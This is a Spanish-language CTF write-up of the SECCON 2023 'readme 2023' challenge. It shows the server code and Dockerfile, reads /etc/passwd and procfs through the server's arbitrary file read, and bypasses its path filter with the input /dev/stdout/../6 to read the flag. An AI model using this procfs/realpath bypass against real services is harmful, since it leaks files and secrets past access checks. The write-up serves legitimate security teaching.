readme 2023
4 minutos de lectura
Se nos proporciona el código fuente en Python que se ejecuta en el servidor:
import mmap
import os
import signal
signal.alarm(60)
try:
f = open("./flag.txt", "r")
mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
print("[-] Flag does not exist")
exit(1)
while True:
path = input("path: ")
if 'flag.txt' in path:
print("[-] Path not allowed")
exit(1)
elif 'fd' in path:
print("[-] No more fd trick ;)")
exit(1)
with open(os.path.realpath(path), "rb") as f:
print(f.read(0x100))
Además, tenemos un Dockerfile
que describe cómo se construye el contenedor de Docker:
FROM python:3.11-slim
RUN apt-get -y update --fix-missing
RUN apt-get -y upgrade
RUN apt-get -y install socat
RUN groupadd -r ctf && useradd -r -g ctf ctf
WORKDIR /home/ctf
ADD server.py .
ADD flag.txt .
RUN chmod 550 server.py
RUN chmod 440 flag.txt
RUN chown -R root:ctf /home/ctf
USER ctf
CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py"
Análisis del código fuente
El desafío es simple en el sentido de que el servidor usa mmap
para almacenar el archivo de la flag en una página de memoria y se nos permite leer archivos arbitrarios, siempre que las cadenas flag.txt
o fd
no estén presentes en la ruta que especifiquemos:
$ nc readme-2023.seccon.games 2023
path: /etc/passwd
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var'
path: /etc/hostname
b'a5e3ef93d92a\n'
path: /home/ctf/flag.txt
[-] Path not allowed
Además, obsérvese que el servidor muestra solo 256 bytes del archivo.
Primeros intentos
Al principio, dado que no podemos usar la subcadena flag.txt
, podríamos pensar en tratar de analizar el mapa de memoria del proceso para ver si podemos encontrar su dirección. Un buen objetivo es /proc/self/maps
:
$ nc readme-2023.seccon.games 2023
path: /proc/self/maps
b'55ca2310d000-55ca2310e000 r--p 00000000 fc:03 1058172 /usr/local/bin/python3.11\n55ca2310e000-55ca2310f000 r-xp 00001000 fc:03 1058172 /usr/local/bin/python3.11\n55ca2310f000-55ca23110000 r--p 00002000 fc:03 1058172 '
Sin embargo, dado que el servidor solo muestra 256 bytes, este archivo es inútil.
Si ejecutamos el contenedor Docker localmente, podemos ingresar en el contenedor y mirar archivos útiles para determinar cómo leer la flag:
ctf@429a26905335:~$ grep -r flag /proc/*/maps
/proc/38/maps:ffffa8d8a000-ffffa8d8b000 r--s 00000000 fe:01 3023842 /home/ctf/flag.txt
ctf@429a26905335:~$ cat /proc/38/maps
aaaadfa80000-aaaadfa81000 r-xp 00000000 fe:01 3021328 /usr/local/bin/python3.11
aaaadfa9f000-aaaadfaa0000 r--p 0000f000 fe:01 3021328 /usr/local/bin/python3.11
aaaadfaa0000-aaaadfaa1000 rw-p 00010000 fe:01 3021328 /usr/local/bin/python3.11
aaaaf065b000-aaaaf0941000 rw-p 00000000 00:00 0 [heap]
ffffa81bd000-ffffa82bd000 rw-p 00000000 00:00 0
ffffa8300000-ffffa8306000 r-xp 00000000 fe:01 3022132 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-aarch64-linux-gnu.so
ffffa8306000-ffffa831f000 ---p 00006000 fe:01 3022132 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-aarch64-linux-gnu.so
ffffa831f000-ffffa8320000 r--p 0000f000 fe:01 3022132 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-aarch64-linux-gnu.so
ffffa8320000-ffffa8321000 rw-p 00010000 fe:01 3022132 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-aarch64-linux-gnu.so
ffffa8327000-ffffa8589000 rw-p 00000000 00:00 0
ffffa8589000-ffffa85e0000 r--p 00000000 fe:01 3017853 /usr/lib/locale/C.utf8/LC_CTYPE
ffffa85e0000-ffffa8660000 r-xp 00000000 fe:01 3016986 /usr/lib/aarch64-linux-gnu/libm.so.6
ffffa8660000-ffffa866f000 ---p 00080000 fe:01 3016986 /usr/lib/aarch64-linux-gnu/libm.so.6
ffffa866f000-ffffa8670000 r--p 0008f000 fe:01 3016986 /usr/lib/aarch64-linux-gnu/libm.so.6
ffffa8670000-ffffa8671000 rw-p 00090000 fe:01 3016986 /usr/lib/aarch64-linux-gnu/libm.so.6
ffffa8680000-ffffa8807000 r-xp 00000000 fe:01 3016947 /usr/lib/aarch64-linux-gnu/libc.so.6
ffffa8807000-ffffa881c000 ---p 00187000 fe:01 3016947 /usr/lib/aarch64-linux-gnu/libc.so.6
ffffa881c000-ffffa8820000 r--p 0018c000 fe:01 3016947 /usr/lib/aarch64-linux-gnu/libc.so.6
ffffa8820000-ffffa8822000 rw-p 00190000 fe:01 3016947 /usr/lib/aarch64-linux-gnu/libc.so.6
ffffa8822000-ffffa882f000 rw-p 00000000 00:00 0
ffffa8830000-ffffa8ba9000 r-xp 00000000 fe:01 3021525 /usr/local/lib/libpython3.11.so.1.0
ffffa8ba9000-ffffa8bb2000 ---p 00379000 fe:01 3021525 /usr/local/lib/libpython3.11.so.1.0
ffffa8bb2000-ffffa8be0000 r--p 00382000 fe:01 3021525 /usr/local/lib/libpython3.11.so.1.0
ffffa8be0000-ffffa8d03000 rw-p 003b0000 fe:01 3021525 /usr/local/lib/libpython3.11.so.1.0
ffffa8d03000-ffffa8d46000 rw-p 00000000 00:00 0
ffffa8d52000-ffffa8d79000 r-xp 00000000 fe:01 3016929 /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
ffffa8d7c000-ffffa8d80000 rw-p 00000000 00:00 0
ffffa8d80000-ffffa8d87000 r--s 00000000 fe:01 3016920 /usr/lib/aarch64-linux-gnu/gconv/gconv-modules.cache
ffffa8d87000-ffffa8d89000 rw-p 00000000 00:00 0
ffffa8d8a000-ffffa8d8b000 r--s 00000000 fe:01 3023842 /home/ctf/flag.txt
ffffa8d8b000-ffffa8d8d000 rw-p 00000000 00:00 0
ffffa8d8d000-ffffa8d8f000 r--p 00000000 00:00 0 [vvar]
ffffa8d8f000-ffffa8d90000 r-xp 00000000 00:00 0 [vdso]
ffffa8d90000-ffffa8d92000 r--p 0002e000 fe:01 3016929 /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
ffffa8d92000-ffffa8d94000 rw-p 00030000 fe:01 3016929 /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
ffffeaf73000-ffffeaf94000 rw-p 00000000 00:00 0 [stack]
Como se puede ver, en /proc/<pid>/maps
podemos encontrar las direcciones de memoria donde se almacena flag.txt
. Hay un directorio en /proc/<pid>/map_files
que es útil para leer la flag:
ctf@429a26905335:~$ ls /proc/38/map_files/
aaaadfa80000-aaaadfa81000 ffffa831f000-ffffa8320000 ffffa866f000-ffffa8670000 ffffa8820000-ffffa8822000 ffffa8d52000-ffffa8d79000
aaaadfa9f000-aaaadfaa0000 ffffa8320000-ffffa8321000 ffffa8670000-ffffa8671000 ffffa8830000-ffffa8ba9000 ffffa8d80000-ffffa8d87000
aaaadfaa0000-aaaadfaa1000 ffffa8589000-ffffa85e0000 ffffa8680000-ffffa8807000 ffffa8ba9000-ffffa8bb2000 ffffa8d8a000-ffffa8d8b000
ffffa8300000-ffffa8306000 ffffa85e0000-ffffa8660000 ffffa8807000-ffffa881c000 ffffa8bb2000-ffffa8be0000 ffffa8d90000-ffffa8d92000
ffffa8306000-ffffa831f000 ffffa8660000-ffffa866f000 ffffa881c000-ffffa8820000 ffffa8be0000-ffffa8d03000 ffffa8d92000-ffffa8d94000
ctf@429a26905335:~$ ls -l /proc/38/map_files/ffffa8d8a000-ffffa8d8b000
lr-------- 1 ctf ctf 64 Sep 20 13:28 /proc/38/map_files/ffffa8d8a000-ffffa8d8b000 -> /home/ctf/flag.txt
Podríamos haber utilizado este enfoque si supiéramos la dirección donde se asigna flag.txt
. El servidor está usando os.path.realpath
, que resuelve todos los enlaces simbólicos y transversales de directorio.
Sin embargo, el hecho de que el servidor solo muestra 256 bytes nos está limitando si queremos usar este enfoque.
Solución
Como os.path.realpath
resuelve enlaces simbólicos y navegaciones de directorios, podemos notar esto:
ctf@429a26905335:~$ ls -l /dev/stdout
lrwxrwxrwx 1 root root 15 Sep 20 13:23 /dev/stdout -> /proc/self/fd/1
Obsérvese que tenemos descriptores de archivo abiertos en /proc/<pid>/fd
:
ctf@429a26905335:~$ ls -l /proc/47/fd
total 0
lrwx------ 1 ctf ctf 64 Sep 20 13:33 0 -> 'socket:[258446]'
lrwx------ 1 ctf ctf 64 Sep 20 13:33 1 -> 'socket:[258446]'
l-wx------ 1 ctf ctf 64 Sep 20 13:33 2 -> 'pipe:[255274]'
lrwx------ 1 ctf ctf 64 Sep 20 13:33 3 -> 'socket:[259303]'
lrwx------ 1 ctf ctf 64 Sep 20 13:33 4 -> 'socket:[259304]'
lr-x------ 1 ctf ctf 64 Sep 20 13:33 5 -> /home/ctf/flag.txt
lr-x------ 1 ctf ctf 64 Sep 20 13:33 6 -> /home/ctf/flag.txt
lrwx------ 1 ctf ctf 64 Sep 20 13:33 8 -> 'socket:[258447]'
Por lo tanto, /dev/stdout
se resolverá a /proc/<pid>/fd/1
. Si subimos un directorio, tenemos que /dev/stdout/..
resuelve a /proc/<pid>/fd
. Y ahora podemos especificar el fd
número 6
, que apunta al archivo de la flag:
$ nc localhost 2023
path: /dev/stdout/../6
b'FAKECON{******* FIND ME ON REMOTE SERVER *******}\n'
Flag
Vamos a resolverlo en remoto:
$ nc readme-2023.seccon.games 2023
path: /dev/stdout/../6
b'SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}\n'